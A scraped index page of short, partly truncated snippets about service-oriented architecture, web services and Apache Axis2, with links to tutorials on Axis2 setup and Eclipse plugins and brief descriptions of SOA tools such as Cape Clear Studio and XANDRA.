To install Anaconda package for pandas, the following command has to be put in Anaconda prompt.
conda install -c anaconda pandas
We then import the dependencies as required.
import os
import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
import tensorflow as tf
from tensorflow.contrib.tensorboard.plugins import projector
from tensorflow.examples.tutorials.mnist import input_data
The next step was to read the fashion dataset file that we kept at the data folder.
test_data = np.array(pd.read_csv(r'data\fashion-mnist_test.csv'), dtype='float32')
We have made embed counting be 1600 you can change and also check.
1600
embed_count = 1600
As we have imported the data now, we have to distribute it into x and y as shown below:
y
x_test = test_data[:embed_count, 1:] / 255
y_test = test_data[:embed_count, 0]
Now we need to mention the directory where we will keep the logs:
logdir = r'C:\Users\abhis\Desktop\logs\eg4'
The next step is to setup the summary writer that is needed for the Tensorboard and create the embedding sensor as shown below:
summary_writer = tf.summary.FileWriter(logdir)
embedding_var = tf.Variable(x_test, name='fmnist_embedding')
config = projector.ProjectorConfig()
embedding = config.embeddings.add()
embedding.tensor_name = embedding_var.name
embedding.metadata_path = os.path.join(logdir, 'metadata.tsv')
embedding.sprite.image_path = os.path.join(logdir, 'sprite.png')
embedding.sprite.single_image_dim.extend([28, 28])
projector.visualize_embeddings(summary_writer, config)
Next, we will run the session to get the checkpoint needed for visualization.
with tf.Session() as sesh:
sesh.run(tf.global_variables_initializer())
saver = tf.train.Saver()
saver.save(sesh, os.path.join(logdir, 'model.ckpt'))
We will create the sprite and the meta data file as well the labels for the fashion data set.
rows = 28
cols = 28
label = ['t_shirt', 'trouser', 'pullover', 'dress', 'coat',
'sandal', 'shirt', 'sneaker', 'bag', 'ankle_boot']
sprite_dim = int(np.sqrt(x_test.shape[0]))
sprite_image = np.ones((cols * sprite_dim, rows * sprite_dim))
index = 0
labels = []
for i in range(sprite_dim):
for j in range(sprite_dim):
labels.append(label[int(y_test[index])])
sprite_image[
i * cols: (i + 1) * cols,
j * rows: (j + 1) * rows
] = x_test[index].reshape(28, 28) * -1 + 1
index += 1
with open(embedding.metadata_path, 'w') as meta:
meta.write('Index\tLabel\n')
for index, label in enumerate(labels):
meta.write('{}\t{}\n'.format(index, label))
plt.imsave(embedding.sprite.image_path, sprite_image, cmap='gray')
plt.imshow(sprite_image, cmap='gray')
Now let us run the python file.
(C:\Users\abhis\Anaconda3) C:\Users\abhis>activate tensorflow-gpu
(tensorflow-gpu) C:\Users\abhis>cd desktop
(tensorflow-gpu) C:\Users\abhis\Desktop>python abhi7.py
Next we need to start the Tensorboard with full path to the logs file.
(tensorflow-gpu) C:\Users\abhis\Desktop>tensorboard --logdir=logs/eg4
Starting TensorBoard b'47' at
(Press CTRL+C to quit)
We open up the local link for Tensorboard. Now, we need to head to the embeddings tab. It will look like the following:
style="width: 600px; height: 296px" data-src="/KB/AI/1272499/b8b0b518-8808-484c-bb4c-951c232bbb26.Png" class="lazyload" data-sizes="auto" data->
We are currently visualizing using PCA approach we can shift to t-SNE too.
If we want to see the objects in colored index file, the following way needs to be applied.
Now it will look like this:
style="cursor: pointer; border: 0; width: 700px; height: auto" data-src="/KB/AI/1272499/2966737f-9d53-4406-a9b9-f414df347af3-r-700.Png" class="lazyload" onclick="imageCleanup.showFullImage('/KB/AI/1272499/2966737f-9d53-4406-a9b9-f414df347af3.Png')" data-sizes="auto" data->
When we shift it to t-SNE, the approach changes.
style="cursor: pointer; border: 0; width: 700px; height: auto" data-src="/KB/AI/1272499/a7d6234d-9632-4fa8-9c2b-0b649c34b3ce-r-700.Png" class="lazyload" onclick="imageCleanup.showFullImage('/KB/AI/1272499/a7d6234d-9632-4fa8-9c2b-0b649c34b3ce.Png')" data-sizes="auto" data->
In this article, we have covered some basics of tensorflow as well as some important features of it using Intel Optimized python. After completing it, I guess you would be able to follow along and bring into practice all the things discussed above.
This article, along with any associated source code and files, is licensed under The Code Project Open License (CPOL) | https://www.codeproject.com/Articles/1272499/Discovering-Tensorflow | CC-MAIN-2020-24 | refinedweb | 4,083 | 52.26 |
Introducing and Open Sourcing shiv
May 10, 2018.
However, as our tools matured over time and picked up additional dependencies, we became acutely aware of the performance issues being imposed by the pkg_resources library, which are well documented here.
To briefly summarize:
- pkg_resources must scan every element of Python’s sys.path in order to build metadata objects that represent each “distribution.”
- This work is done at import time, which can significantly slow down CLI invocation time.
Since PEX leans heavily on pkg_resources to bootstrap its environment, we found ourselves at an impasse: either lose out on the ability to neatly package our tools in favor of invocation speed, or impose a few-second start-up penalty for the benefit of easy packaging.
After spending some time investigating the possibility of extricating pkg_resources from PEX, we decided to start from a clean slate, and thus, shiv was created.
What does shiv do?
Just like PEX, shiv allows us to create a single binary artifact from a Python project that includes all of its dependencies. The only thing required to run a full-fledged Python application is an interpreter.
How does shiv work?
Inspired by PEP 441, shiv creates a “zipapp” containing a Python project, all the project’s dependencies, and a special bootstrap module that extracts and injects all required dependencies at run time with very little latency cost.
shiv completely avoids the use of pkg_resources. If it is included by a transitive dependency, the performance implications are mitigated by limiting the length of sys.path and always including the -s and -E Python interpreter flags.
Instead of shipping our binary with downloaded wheels inside, we package an entire site-packages directory, as installed by pip. We then bootstrap that directory post-extraction via the stdlib’s site.addsitedir function. That way, everything works out of the box: namespace packages, real filesystem access, etc.
Because we optimize for a shorter sys.path and don’t include pkg_resources in the critical path, executables created with shiv are often even faster than running a script from within a virtualenv.
Why shiv?
The tool freezes a Python environment, so you can think of shiv as a shorter way of saying “shiver.”
Acknowledgements
Special thanks to Barry Warsaw and Dan Sully for their help open sourcing this project.
We also have to credit the great work by @wickman, @kwlzn, @jsirois and the other PEX contributors for laying the groundwork for shiv! | https://engineering.linkedin.com/blog/2018/05/introducing-and-open-sourcing-shiv | CC-MAIN-2022-33 | refinedweb | 407 | 54.12 |
Welcome to the discussion thread about this lecture section. Here you can feel free to discuss the topic at hand and ask questions.
I just started this section and watched the “What was wrong with our simple Proxy?” video and I’m wondering if you can do mappings of mappings? In other words the question in my mind that I suspect may be answered eventually is how to handle adding an accounts in a contract upgrade.
Yes you can do mapping to mapping. Not a problem.
Sweet.
In lecture you mentioned near the end of the video that you would include a link to understand the low level assembly better. I’m not sure where to find the link.
Sorry about that. I will update the lecture, here is the link:
@filip, it would be nice to have the demo code running within in the truffle unit test. At least, it’s worth having mention that truffle migration scripts are not the best place for the demo code (querying the dogs count, console logging, etc.)
** in my opinion, of course
@filip, one more question. I came across some articles about the “selector clash” (selector collision) vulnerability.
It would be nice to have
- Some coverage of this attack in the course
- Some explanation (maybe here as a reply) on “Can the proxy contract showcased in this course be exploited by the selector clash”.
(Unfortunately, I still need some help figuring this out. I’ll let you know if I get any insights, though).
UPD
–.
Seems like this is the recommendation to avoid the “selector clash” exploits.
P.S. Thanks for great content, @filip, @ivan . I’m really enjoying this security course. You’ve found a right balance for it being not too complicated and giving a good structure to student’s prior knowledge (if any).
Thank you very much for your feedback and your kind words about the course. We are happy to hear that you enjoyed it.
About the migration vs test. Yes, I agree with you. But I didn’t want to introduce a new layer of complexity, the testing suite of truffle, in this course. There will be a truffle testing course coming later this year.
Thanks for sending that Fascinating attack angle indeed, there are so many weird loopholes and exploits in smart contracts that we have to be aware of.
I could definitely update the course in the future with that in mind. Seems like it’s more of an exploit that can be carried out by a malicious contract creator rather than anyone just calling our functions. So the owner could potentially hide functionality behind weird function names. But it’s not something that makes our proxy contracts potential targets.
I see that you already found the solution to avoid the selector clash, great!
Filip, thanks for the content and assistance!
I have two questions: First to help me understand the ‘truffle’ part vs the actual smart contract part a bit more. In the migration script for the proxy and dog contracts; I noticed we don’t use the ‘deployer.deploy’ method of deploying, but in other examples we do.
For example:
Deploying without deployer method
const proxy = await Proxy.new(dogs.address);
vs
Deploying with deployer method
deployer.deploy(Dogs).then(function(){
return deployer.deploy(Proxy,Dogs.address);
});
When using the deployer method, it gives us the details of the smart contract when we perform a migration. Is this all, is there any other benefit or reason to use one vs the other? Truffle adds some confusion for me when really trying to understand smart contracts, because it has so many of it’s own quirks.
/////////
My second question is another possibly Truffle related confusion. When we deploy an updated contract and run the ‘proxy.update’ function; why can’t we use ‘proxy.getNumberof Dogs()’ as is intended? Isn’t that what the actual dapps would do? I tried this in remix as well, and it also doesn’t work as intended. Will I have to deploy something to the testnet to verify it works as intended, or is there something gaping I’m missing in my understanding?
Thanks in advance!
Good questions @cyberspec. I should have clarified this in the video.
First question: Both the Proxy.new() and the deployer.deploy() will deploy the contract. So you can use both. The different is that deploy() will look for an already deployed instance of the contract and use that one if it exists.
If I remember the videos correctly we might at some point have 2 dog contracts deployed in the same file, in which we would have had to use new() in order to get a new instance of every contract. If we were to use deployer.deploy() truffle might have given us an already deployed instance of the dogcontract. I hope it makes sense. You can read a little bit more about it here:
I don’t fully understand your second question. Don’t we use the getNumberOfDog function in the videos even after update? If I look at the file we created it looks like we use it as intended? Or am I misunderstanding you?
Link to the file.
Ahh thanks Filip, that makes sense for the deployer.deploy first question.
The second one is probably my confusion with proxy contracts. So in the migration script, the proxyDog variable has to be set to the latest dog contract (e.g. proxydog = dogsupdated.at(proxy.address) for example). I understand this is still hitting the proxy fallback function, but we have to manually tell it.
There’s no way to access the fall back automatically? I mean if I’m writing a dapp, I have to update the dapp whenever the dogs contract is upgraded. Vs having it happening automatically behind the scenes.
Or am I confusing something as I think I am…?
Thanks!
V/r,
-KJ
Thank you for clarifying. Let me see if I understand you question. You’re wondering if there is a way to for a contract to automatically update itself when we deploy a new version of it?
The simple answer to that is no. Solidity and Ethereum is built to be immutable, to be unchangeable. It’s not built with update functionality. So in order to circumvent that and provide upgradeability, we need to build special software, like a proxy in order to achieve that.
Before we update the structure looks like this.
Caller -> Proxy -> Contract A
If we deploy a new contract (Contract B) that is suppose to for example fix a bug in Contract A. That will just be a standalone contract like any other, there is nothing that connects it to Contract A just because we deploy it. We need to update the proxy and tell it to point to a new contract.
Caller -> Proxy -> Contract B
This does not remove contract A in any way. Contract A will still exist on the blockchain, but not connected to the proxy contract, which we interact with.
But you could of course automate this yourself with a truffle script. But there is nothing in the blockchain that replaces smart contracts with new ones.
Let me know if I understood your question correct or if I answered something completely different
Thanks Filip,
I’m tracking and understand the idea you are relaying here (it is kind of what I was trying to explain in my own example). I’m trying to go one step deeper without getting things confused.
When we run “proxy.upgrade” we are “pointing” the fallback to the new upgraded contract, right? I’m basically saying, why isn’t that enough and just call “proxy.getNumberOfDogs”
The fallback is supposed to route any function that wasn’t handled, correct? In our case, before we run upgrade, it points to the old contract, after we run upgrade it points to the new contract.
The explanation of fallback states that any non-existent function would route to the fallback function. And our fallback is supposed to handle passing that information to whatever contract address we specified/updated to.
So if the proxy.getNumberOfDogs() function doesn’t exist, shouldn’t it pass to the fallback and thereby get handled by our ‘assembly’ which would pass to whichever contract address we specified in the delegate call? (I know this doesn’t actually work… just saying why not)
Is there a way to directly call the fallback function internally?
Hope that makes sense; if not no worries I’m going to try and do some more research and testing and I’ll post my findings and let ya know!
Thank you for clarifying. Sorry for the late response, I’ve been taking some summer vacation.
“When we run “proxy.upgrade” we are “pointing” the fallback to the new upgraded contract, right? I’m basically saying, why isn’t that enough and just call “proxy.getNumberOfDogs””.
That is correct, yes. That is all we need to do. We don’t need to do anything else from the contracts perspective. Everything we do after that is for Truffle internally. Truffle won’t let us call a function if it doesn’t believe it exists. So that’s why I say in the video that we need to fool truffle to believe that function exists.
So to illustrate, we can’t call proxyDog.getNumberOfDogs() straight away. Because in truffle’s world, the proxyDog jacascript object contains no such function. So we would get a Javascript error that basically says that proxyDog contains no such function. But that is only a client error and has nothing to do with the smart contract.
In order to fix this, we fool truffle by running.
var proxyDog = await Dogs.at(proxy.address);
We run the same thing after we have updated our proxy. In this case, we could do without it. But as a principle we wan’t to do it, because we might have added new functions in our DogsUpdated contract which truffle needs to know of.
I hope that made it clearer. Everything apart from proxy.upgrade (which is a solidity function) is meant to enable us to use truffle to call our fallback function correctly. It’s a frontend/client fix.
I’m having this issue, can’t solve it, can’t go on… and dont know where to look more than google.
Error: Returned values aren’t valid, did it run Out of Gas? at PromiEvent (C:\Users\E\AppData\Roaming\npm\node_modules\truffle\build\webpack:\packages\contract\lib\promievent.js:9:1)
at TruffleContract.getNumberOfDogs (C:\Users\E\AppData\Roaming\npm\node_modules\truffle\build\webpack:\packages\contract\lib\execute.js:120:1)
at module.exports (C:\WEB\eth\proxyContract\migrations\2_deploy_proyx.js:10:35)
at process._tickCallback (internal/process/next_tick.js:68:7)
Can you post your code here? And the truffle code you are executing? I need that in order to help you debug.
Sure!.
I have the error when I add this line in the 2_deploy_proxy.js;
var nrOfDogs = await proxyDog.getNumberOfDogs();
Dogs.sol
pragma solidity 0.5.12;
import “./Storage.sol”;
contract Dogs is Storage {
modifier onlyOwner(){ require(msg.sender==owner); _; } constructor() public { owner = msg.sender; } function getNumberOfDogs() public view returns(uint256){ return _uintStorage["Dogs"]; } function setNumberOfDogs(uint256 _toSet) public { _uintStorage["Dogs"] = _toSet; }
}
migrations.sol);
}
}
proxy.sol
pragma solidity 0.5.12;
import “./Storage.sol”;
contract Proxy is Storage {
address currentAddress; constructor (address _currentAddress) public { currentAddress = _currentAddress; } function upgrade(address _newAddress) public { currentAddress = _newAddress; } //fallback function //redirect to current address function() payable external { address implementation; require(currentAddress !=address(0)); bytes memory data = msg.data; assembly { let result := delegatecall(gas, implementation, add(data, 0x20), mload(data), 0, 0) let size := returndatasize let ptr := mload(0x40) returndatacopy(ptr, 0, size) switch result case 0 {revert(ptr, size)} default {return(ptr, size)} } }
}
storage.sol
pragma solidity 0.5.12;
contract Storage {
mapping (string =>uint256) _uintStorage; mapping (string =>address) _addressStorage; mapping (string => bool) _boolStorage; mapping (string => string) _stringStorage; mapping (string => bytes4) _bytesStorage; address public owner; bool public _initialized;
}
2_deploy_proxy.js
const Dogs = artifacts.require(‘Dogs’);
const Proxy = artifacts.require(‘Proxy’);
module.exports = async function(deployer, network, accounts){
const dogs = await Dogs.new(); const proxy = await Proxy.new(dogs.address); var proxyDog = await Dogs.at(proxy.address); await proxyDog.setNumberOfDogs(10); var nrOfDogs = await proxyDog.getNumberOfDogs(); //var nrOfDogs = await proxyDog.getNumberOfDogs(); console.log(proxyDog); //console.log(nrOfDogs.toNumber());
} | https://forum.ivanontech.com/t/full-smart-contract-upgradeability-discussion/8242 | CC-MAIN-2020-24 | refinedweb | 2,067 | 67.96 |
See how to make comments in your code more useful & effective for you and your fellow developers.
Articles Written by Mike Gunderloy
Getting Started with SQL Server Service Broker
Learn how the Service Broker provides the "plumbing" to let you pass messages between applications, using SQL Server as the transport mechanism.
Audio Feedback the Easy Way
Adding audio feedback to a .NET 2.0 application is easy using the System.Media namespace..
XML Queries and Indexing in SQL Server 2005
For the first time, SQL Server 2005 offers a native XML data type. See how you can store and query XML documents as part of a SQL Server table, and how to use XML indexes to make queries against these columns more efficient.
Introduction to SQL Server Report Builder
SQL Server 2005 is the first version to include end user reporting capabilities. See how the new Report Builder makes it easy for analysts to generate reports while avoiding the performance pitfalls of completely ad hoc reporting. | http://www.codeguru.com/member.php/Mike+Gunderloy/ | CC-MAIN-2015-35 | refinedweb | 166 | 59.13 |
Hi,
just an example: I am using lots of arrays in my code, and so repeat the stanza
somearray[somearray.length-1]
all over the place.
Now, I could do something like
public dynamic class MyArray extends Array
{ public function get last():*
{ return this[this.length-1];
}
}
and replace all instances of new Array() by new MyArray().
This would allow to use
somearray.last
However, this would lose the shortcut [], and the "last" accessor would not be available on arrays set up by system code (say as part of data
collections)
There are similar examples for static functions that I would like to add to some classes. I could, of course, collect them into a class MathUtil or 'GeomUtil,
but I would prefer to relate them to, say Point or Vector3D
I have seen "prototype chain" etc mentioned, would that help?
create a static method:
package {
public class A {
public static function last(a:Array):*{
return a[a.length-1];
}
}
}
Hi,
well that would give me
A.last(myarray)
instead of the desired
myarray.last
Probably even that makes code somewhat more readable
>>However, this would lose the shortcut [], and the "last" accessor would not be available on arrays set up by system code (say as part of data collections)
I would say not an issue to both of those. When do you really use []? I never use it... and who cares about arrays set up by system code? This solves your issue... but while I don't see your first solution as a problem, I would use kglads way - and do actually. I have an array utilities class and make use of it exactly like that: A.last(myarray) and I do think it makes the code more readable as well. Just my .02
Hi,
well, I really prefer [] over new Array() and {} over new Object() ....
I have one class that is declared
public dynamic class something extends Array
For the moment I have added
public function get lastsomething():*
to it. I found that telling plain arrays and this special construct apart (in code just a few weeks old) was not that easy, so I will probably use distinctive member names more often | http://forums.adobe.com/thread/996387?tstart=0 | CC-MAIN-2014-10 | refinedweb | 364 | 71.65 |
The Kolakoski tree
Draw an infinite tree according to the following rules:
- Each tree node is labeled 1 or 2, and has a number of children equal to its label.
- If the nodes are placed into their breadth-first search ordering, then two consecutive nodes have the same label if and only if they have the same parent.
There are two choices for the root label, but the trees they produce are almost the same as each other, so let's say the root is labeled 2, giving the tree shown below together with its spiraling breadth first search order. (If the root were labeled 1, the only difference would be to add one more node labeled 1 above the node that is the root in the drawing.)
Then the breadth-first sequence of labels that we obtain is exactly the Kolakoski sequence, starting from its third term. The Kolakoski sequence begins 1,2,2,1,1,2,1,2,2,1,2,2... and has the property that it equals the sequence of run-lengths in itself: the numbers 1, 2, 2, etc. are exactly the numbers of consecutive 1's, 2's, 1's, etc. in the sequence. Our tree is defined in such a way that each run of consecutive equal labels comes from the same parent, so the run-lengths of the sequence equal the numbers of children of the nodes, which equal the labels of the nodes, which define the sequence itself.
The fact that this tree encodes the Kolakoski sequence in its breadth-first ordering is closely related to the fact that breadth first search on a tree can be encoded recursively as the following algorithm: first, output the root node. Then, for each node in a recursive breadth-first search, output its children. Applying this technique to the Kolakoski tree gives us the following Python recursive generator for the Kolakoski sequence itself:
def recurse(): yield 2 output = 1 for x in recurse(): for i in range(x): yield output output = 3 - output def Kolakoski(): yield 1 yield 2 for x in recurse(): yield x
(The only reason we need two separate functions is to handle the first two terms in the sequence, the ones that are not part of the tree.) If this algorithm is used to generate the first \( n \) terms of the sequence, then it calls itself recursively \( O(\log n) \) levels deep, with each level of recursion tracking one level higher in the tree and generating approximately \( 2/3 \) as many values as its caller. Each level of recursion has only a constant amount of storage for its local variables. Therefore, it takes \( O(n) \) time and \( O(\log n) \) space to generate the whole sequence.
Something very similar to this algorithm, with the same analysis, is described in the paper "A space-efficient algorithm for calculating the digit distribution in the Kolakoski sequence", by Johan Nilsson in J. Integer Sequences 2012. But he replaces the chain of recursive calls by an explicit data structure, which makes the algorithm's description longer and I think more confusing. And instead of making a single tree from all but the first two numbers in the sequence, Nilsson uses a forest with infinitely many trees, with each level of the forest being labeled by its own copy of the Kolakoski sequence.
ETA: See next post for an alternative algorithm that avoids the recursion.
2016-10-20T09:21:34Z
What a coincidence. I was just googling an efficient generator for this sequence (20 years after I last heard of it, without knowing its name but only the start 122) and found this one week old blog-post which appears to be the ultimate simplification. Thank you and congratulations!
Edit : Time goes probably like \( (n \log n) \) in both the recursive and the bit-shift solution. For each call of Kolakoski the tree has to be traversed to depth \( \log n \) and the bit-sequences also grow logarithmically with \( n \).
2016-10-20T17:55:26Z
No, total time is only \( O(n) \) for both. In this version, just add up the total number of steps for all the recursive generators: \( n \) for the top level call, \( 2n/3 \) for the next level, \( 4n/9 \) for the next, etc., in a geometric series. For the bit-twiddling version, observe that most steps change only very few bits of the numbers, so if e.g. you're running for \( n \) so large that you're using more than one 64-bit word to store the results, most of the time the high-order words won't change. | https://11011110.github.io/blog/2016/10/13/kolakoski-tree.html | CC-MAIN-2022-40 | refinedweb | 770 | 64.75 |
Details
Description
The pig.jar path is hardcoded in the existing test-execution/smokes/pig/pom.xml file, which means that tarball based pig deployments or non-standard pig install locations cannot use the smoke test.
Also, the pom.xml in test-execution/smokes could use a couple of small comments since it is different than the other test-executions as of this date (i.e. it depends on an external smoke rather than one created in test-artifacts).
Activity
- All
- Work Log
- History
- Activity
- Transitions
Ive attached a patch for this above and tested it. The pig.jar property is properly picked up by the test-execution goal, and can indeed be something other than /usr/lib//pig/pig.jar now.
I am +1 (with one minor nitpick below) and will wait for a day or so to commit in case someone else has any concerns with it.
I would suggest, if you don't mind, to remove the comment regarding pig smoke test not working with pig < 0.11. Technically, the tests only have been run against the version of the component bundled in that version of Bigtop. However, sometimes we have to make changes in test code to make them compatible with the newer corresponding component version which may prevent them from running with the old version. We try to avoid doing so as much as we can but if someone really wanted to use tests with an older version of the component, they could get the test code from an older branch of Bigtop and use that instead.
And, like always, thanks for contributing, Jay!
+1 on Mark's pick: please remove that comment.
Are you sure this is the case for the pig tests? In any case , sure I'll remove the comment
.. but meanwhile, (i think) the only pig tests in bigtop are for the pigsmokes, of which i think there is only one version published on maven central. (if im wrong please correct me, would love to run the official bigtop smokes for pig if there are some for pig 0.9.x or .10.x)...
jays-MacBook-Pro:bigtop-apache Jpeerindex$ git checkout remotes/origin/branch-0.1
Previous HEAD position was c4875b2...
BIGTOP-12. Add HCatalog to Bigtop
HEAD is now at cfb44ef... Excluding .gitignore files from dist for now.
jays-MacBook-Pro:bigtop-apache Jpeerindex$ find ./ -name pig
.//src/pkg/common/pig
.//src/pkg/deb/pig
.//src/pkg/rpm/pig
.//test/suites/smokes/pig
jays-MacBook-Pro:bigtop-apache Jpeerindex$ vim .//test/suites/smokes/pig/pom.xml
jays-MacBook-Pro:bigtop-apache Jpeerindex$ cat .//test/suites/smokes/pig/pom.xml | grep smokes
<artifactId>pigsmokes.smoke-tests</artifactId>
<name>pigsmokes</name>
Oh, and here is the updated patch with deleted version comment.
.... thanks again for the reveiw mark/konstantin !
BTW, you don't need to create custom suffixes for patch files - just keep uploading it under the same name, because JIRA will do the right thing for you.
No, no need, just saying for the future - it's a helpful way of tracking the progress/comments, etc.
+1 and committed!
FWIW, it looks you modified the original patch to create the new patch. That doesn't really work because of the way git creates patches (with hashes embedded in them for the good reason of reliability). The best way to avoid such problems is to make a commit in your own git repo and then regenerate the patch
In any case, I modified the patch and committed. Thanks again for doing this!
As far as naming of the patches goes, I name them numbered just the way Jay is doing it, I prefer it that way because it namespaces the patches correctly on my personal workstation. In any case, Jay, it boils down to personal preference, so pick whichever way you like
Patch with variable pig jar path option and a couple of comments on the way this test execution works. | https://issues.apache.org/jira/browse/BIGTOP-1059 | CC-MAIN-2015-27 | refinedweb | 660 | 64.41 |
This.
Our solution is to exploit the binary in two stages. The first stage will write four bytes containing the address of __libc_start_main (this information is stored in the GOT) to the socket. The exploit will use this to calculate the base address of libc, and then use that to calculate the address of system().
The first stage will then patiently wait for us to send it some more data, and when it receives data it will set esp to the start of that data and return. This allows us to send a second-stage ROP payload. Another technique is to simply return back to the vulnerable function, but our trick is more universal I think (popebpret and leaveret gadgets are always easy to get).
Since we know the address of system() and we know the address where the second stage is being written (since we chose the address!) we can just call system() on a string of our choice. That’s game over 🙂
The exploit (note, this has been cleaned up slightly without testing it again, so let me know if I screwed it up):
import socket import struct def rop(*args): return struct.pack('I' * len(args), *args) s = socket.create_connection(('54.234.151.114',1025)) # GOT entry containing address of __libc_start_main libc_main = 0x08049618 # writable address, somewhere in .bss writable = 0x08049628 + 500 # gadgets write = 0x804830c read = 0x804832c pop3ret = 0x080484b6 popebpret = 0x080483c3 leaveret = 0x080482ea # equivalent to 'mov esp, ebp ; pop ebp ; ret' # offsets in libc (without relocation) libc_system = 0x0039450 libc_start_main = 0x0016bc0 print "exploit running" # send overflow and first stage ROP payload s.send('A' * 140 + rop( # leak address of __libc_start_main write, pop3ret, 1, libc_main, 4, # read second stage ROP payload read, pop3ret, 0, writable, 1024, # stack pivot into new ROP payload popebpret, writable, leaveret, )) # receive leaked address of __libc_start_main tmp = s.recv(4) addr = struct.unpack('I', tmp)[0] print "__libc_start_main at %08x" % (addr,) # calculate address of system using the leaked offset libc_base = addr - libc_start_main system = libc_base + libc_system print "system at %08x" % (system,) # second stage ROP payload buf = rop( # new value of ebp, doesn't matter 0xdeadbeef, # call system on a string that is appended to this stage system, 0xdeadbeef, writable + 4 * 4, # length of this stage ) # argument for system(), only the last string really matters buf += ' ; '.join([ "pwd", "ls -al /", "cat /etc/passwd", "find /home", "cat /home/ropasaurusrex/key", ]) + "\0" # send it s.send(buf) # print whatever comes our way while True: tmp = s.recv(ln) if not tmp: break print "RECV: %r" % tmp | https://eindbazen.net/2013/05/pctf-2013-ropasaurus-pwn-200/ | CC-MAIN-2017-13 | refinedweb | 416 | 66.47 |
This article is an example on how to send email from an Android app. There are lots of uses for this, here the example is for support and feedback purposes for an app. Developing successful apps requires more than good ideas and good code. You also need to support your users and respond to their questions, suggestions and bug reports. One way is to provide a contact, feedback or suggestion form in your app. Usually accessible from a menu option or button. In this example the first activity is the contact form.
(This Android send email.)
Send Email from Android App Using Intents
One of the advantages of programming with Android is the ability to reuse existing functionality with a few lines of code. The use of an
Intent allows the programmer to access other code without directly linking to it. Especially useful in accessing other apps functionalities without directly referencing them, or referencing bulky common libraries. It is achieved via a type of Android internal messaging system, and is a form of declarative programming. This is the case with sending an email from an App. All that is needed is for the app to set up an Intent with the required recipient, subject and text, and hand it over to Android to let the email client do the rest.
Example Contact Form Project
A new app called Contact Form is created in Android Studio using an Empty Activity. An
EditText for each field holds the email address, subject title and email content. A
Button hands the email over to the device's mail client via an Intent. An example starting layout is shown in the documentation for
LinearLayout on Android Developers (see the above picture). For this example replace the code in activity_main.xml in the res/layout folder with the following:
<?xml version="1.0" encoding="utf-8"?> <LinearLayout xmlns: <EditText android: <EditText android: <EditText android: <Button android: </LinearLayout>
In the code (in the Java class MainActivity folder) add a listener for the button. In the listener an Intent is created with ACTION_SEND. The Intent is loaded with the address, subject and message text. The type is set to message/rfc822 so only email clients will be interested in handling the Intent. Here's the code:
package com.example.contactform; import android.content.Intent; import android.support.v7.app.AppCompatActivity; import android.os.Bundle; import android.view.View; import android.widget.Button; import android.widget.EditText; public class MainActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); ((Button) findViewById(R.id.btnOK)).setOnClickListener(new View.OnClickListener() { public void onClick(View v) { String to = ((EditText)findViewById(R.id.txtTo)).getText().toString(); String sub = ((EditText)findViewById(R.id.txtSubject)).getText().toString(); String mess = ((EditText)findViewById(R.id.txtMessage)).getText().toString(); Intent mail = new Intent(Intent.ACTION_SEND); mail.putExtra(Intent.EXTRA_EMAIL,new String[]{to}); mail.putExtra(Intent.EXTRA_SUBJECT, sub); mail.putExtra(Intent.EXTRA_TEXT, mess); mail.setType("message/rfc822"); startActivity(Intent.createChooser(mail, "Send email via:")); } }); } }
When the button is pressed and more than one application is on the device that can handle sending email you'll be offered a choice:
The static function createChooser was used so that all email apps are listed each time. If just startActivity(mail); was called an option to always use a specific email App is presented.
The email can be tweaked in the email app before sending it on its way. When testing the code using a physical device instead of an emulator (the AVD, Android Virtual Device) is good. A physical device usually has an account setup for emailing. The example send email project code developed in this tutorial is available in send-email-example.zip, it includes instructions for importing into Studio. Alternatively see the brief instructions on the Android Example Projects page.
Improving the Contact Form
It is unlikely the email address needs to change. A default can be used which saves on one EditText, just let the user know they will be sending via email. Likewise the subject could be preset with the name of the App. These changes would result in a simpler screen:
If required the email Intent also supports CC (Carbon Copy) and BCC (Blind Carbon Copy) using EXTRA_CC and EXTRA_BCC:
mail.putExtra(Intent.EXTRA_CC, new String[]{"someoneelse@example.com"}); mail.putExtra(Intent.EXTRA_BCC, new String[]{"someonesecret@example.com"});
The user could be given fields to enter the CC and BCC address or they could be set to default values.
See Also
- The article About Box for an Android App to see how
Linkifycan be used to make an email address clickable.
- Download the code for this example, available in send-email-example.zip
- For more code to try in Studio see the Android Example Projects page.
- For a full list of all the articles in Tek Eye see the full site Index.
Published: Updated: | https://tekeye.uk/android/examples/email-contact-form-in-app | CC-MAIN-2018-26 | refinedweb | 814 | 50.63 |
Ask SOA Questions Online
Ask SOA Questions Online
... business tasks, or services.
Ask questions pertaining to SOA by posting your query on our new services ‘Ask Questions SOA Online&rsquo
SOA and Web Services
.
Apache Axis2 Eclipse plugin
Learn how to install and use Axis2 plugin in Eclipse IDE... web application using eclipse IDE along with Lomboz plug in. We will also
SOA - Design concepts & design patterns
SOA Explain Service Oriented Architecture (SOA) in detail? Hi friend,
In computing, Service-oriented architecture (SOA) provides... around business processes and package these as interoperable services. SOA also
SOA and Web Services
SOA and Web Services
Service Oriented Architecture (SOA) is a new....
Earlier SOA was based on the DCOM or Object Request Brokers
(ORBs
Recommendation for application server and SOA process server
Recommendation for application server and SOA process server Comparing between apache geranimo and jboss application server, which one is more recommended considering performance, stability, price and scalability
SOA and Web
Client's Data with Axis2 and Java
spring features) and as core engine I am using axis2, IDE is Eclipse. If you...Client's Data with Axis2 and Java Hello everyone,
I am studying IT Engineering and my project is to create heterogenous system, and as middleware
Apache Axis2 Introduction
Apache Axis2 Introduction
Axis2: An Introduction
In this section introduces you with the Apache Axis2 framework.
Apache Axis2 is a core engine for Web services. It is a modified version of widely
Mindreef?s most powerful SOA Quality Management solution
Mindreef?s most powerful SOA
Quality Management solution
Multiple teams can leverage robust features while
collaborating to improve overall SOA quality
Apache Axis2 Hello World Example
Apache Axis2 Hello World Example
Apache Axis2 Hello World Example
In this section we will develop a simple Hello World... deployed the Axis2 engine
on the Tomcat server. We will use the same Axis2
Cape Clear Studio
before ever using Studio.
Of course, because Studio is based on Eclipse...;
Cape Clear Studio is an Eclipse-based tools environment
for the development of SOA-based and on-demand applications.
Studio provides
XANDRA Framework
XANDRA Framework
XANDRA Framework SOAP and SOA Architecture XANDRA Framework is handling
completely... programmers scope. The communication is using the SOAP protocol as
advanced XML
Eclipse Plunging/Web Services
SMODL Development Suite is a Eclipse-feature for fast and simple WebService... Eclipse Plunging/Web Services
... Workshop for WebLogic 10.1 offers nothing less than the #1 Commercial
Eclipse
What is axis2?
What is axis2?
Axis2 is Apache?s Web services
